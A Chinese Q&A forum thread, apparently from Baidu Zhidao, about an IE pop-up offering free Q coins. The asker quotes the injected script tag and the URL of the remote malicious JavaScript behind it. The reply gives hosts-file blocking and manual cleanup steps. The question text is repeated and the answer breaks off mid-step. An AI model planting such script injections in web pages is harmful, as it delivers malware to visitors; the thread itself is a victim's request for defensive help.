UC知道系统消息：疯抢Q币
来源：百度知道 编辑：UC知道 时间：2024/09/23 20:37:32
天上网的时候可能是ie中毒了，打开一些网站时会出现这样的一个悬浮于正常页面之上的页面：
这里是一些彩铃推荐
系统消息：
疯抢Q币去了，
只要答题就有机会赢取100Q币，还有机会得大奖。
******************************************************************打开百度没有这个问题，我怀疑是一些恶意代码嵌入到了别的网站代码中去执行了。谁知道该如何解决这个问题啊，谢谢了
问题补充：我知道我的机子中的什么招了，其实就是恶意程序在一些安全性不高的网站的源代码中嵌入了这个文件，代码是：
<script src=http://360.gxgxy.net/1.js></script>
网址是：
http://360.gxgxy.net/1.js 直接请求就能把这个js文件下载下来
超级兔子，360卫士，超级巡警我都试过了，都不管事
ps：请提供能有效的解决方案，提出什么黄山IE修复的，什么360安全卫士的，冰刀的就不要回答了。能给出正确有效的解决的，追加分。
不要回复那些无用的信息，ie7也是一样的，请大家提供有效的解决方案，即使是重新装系统也是没有用的。我已经重新装了，一下6楼的答案没有任何有用价值。请不要给我推荐什么火狐、遨游啊什么的。我想要的解决方法，卡巴斯基也没有办法查出来！
PS:虽然不能有效的解决问题，但是毕竟是原创，而且内容还是有点专业知识，但还是没有办法解决问题，后来格式化了整个硬盘都还是没有解决问题，不是因为网站本身就有的广告，而贮存在本地电脑病毒作怪。安装了NORTON2007软件，可以部分有效的解决，并且提出中毒警告，但是还是偶尔还会有！头疼的很。。只是希望今后的病毒库可以升级全家捕杀。
这里是一些彩铃推荐
系统消息：
疯抢Q币去了，
只要答题就有机会赢取100Q币，还有机会得大奖。
******************************************************************打开百度没有这个问题，我怀疑是一些恶意代码嵌入到了别的网站代码中去执行了。谁知道该如何解决这个问题啊，谢谢了
问题补充：我知道我的机子中的什么招了，其实就是恶意程序在一些安全性不高的网站的源代码中嵌入了这个文件，代码是：
<script src=http://360.gxgxy.net/1.js></script>
网址是：
http://360.gxgxy.net/1.js 直接请求就能把这个js文件下载下来
超级兔子，360卫士，超级巡警我都试过了，都不管事
ps：请提供能有效的解决方案，提出什么黄山IE修复的，什么360安全卫士的，冰刀的就不要回答了。能给出正确有效的解决的，追加分。
不要回复那些无用的信息，ie7也是一样的，请大家提供有效的解决方案，即使是重新装系统也是没有用的。我已经重新装了，一下6楼的答案没有任何有用价值。请不要给我推荐什么火狐、遨游啊什么的。我想要的解决方法，卡巴斯基也没有办法查出来！
PS:虽然不能有效的解决问题，但是毕竟是原创，而且内容还是有点专业知识，但还是没有办法解决问题，后来格式化了整个硬盘都还是没有解决问题，不是因为网站本身就有的广告，而贮存在本地电脑病毒作怪。安装了NORTON2007软件，可以部分有效的解决，并且提出中毒警告，但是还是偶尔还会有！头疼的很。。只是希望今后的病毒库可以升级全家捕杀。
如果你只是想那个js从你的视线消失
修改host文件就是了嘛~~
如果修改host文件呢？~~
打开WINDOWS\system32\drivers\etc，看到hosts文件吗？
用记事本打开它
在“127.0.0.1 localhost”下面添加一行
127.0.0.1 360.gxgxy.net
保存，重启。
在windows
windows\system32
WINDOWS\system32\dllcache
这两个个目录下，按右键查看—>详细列表，然后按时间看看，注意在你中招时间的文件，可能先对可疑的文件先更改掉。
C:\Documents and Settings\系统用户名\Local Settings\Temporary Internet Files\Content.IE5\
这项需要把文件夹设置为显示系统文件才能看到文件。
C:\Documents and Settings\系统用户名\Local Settings\Temporary Internet Files\
C:\Documents and Settings\系统用户名\Local Settings\Temp\
这三个临时文件夹中的文件全部直接删除。
部分网站的恶意插件会加载在C:\Program Files\Internet Explorer\目录下，建立LIB、lip等目录或Supdate.log，如果有把他们删除。
检查启动进程，有可疑的强制结束掉。
用记事本在C:\WINDOWS\system32\drivers\etc\目录下打开HOSTS
在里面检查有没有那个病毒网址。
在前面加 127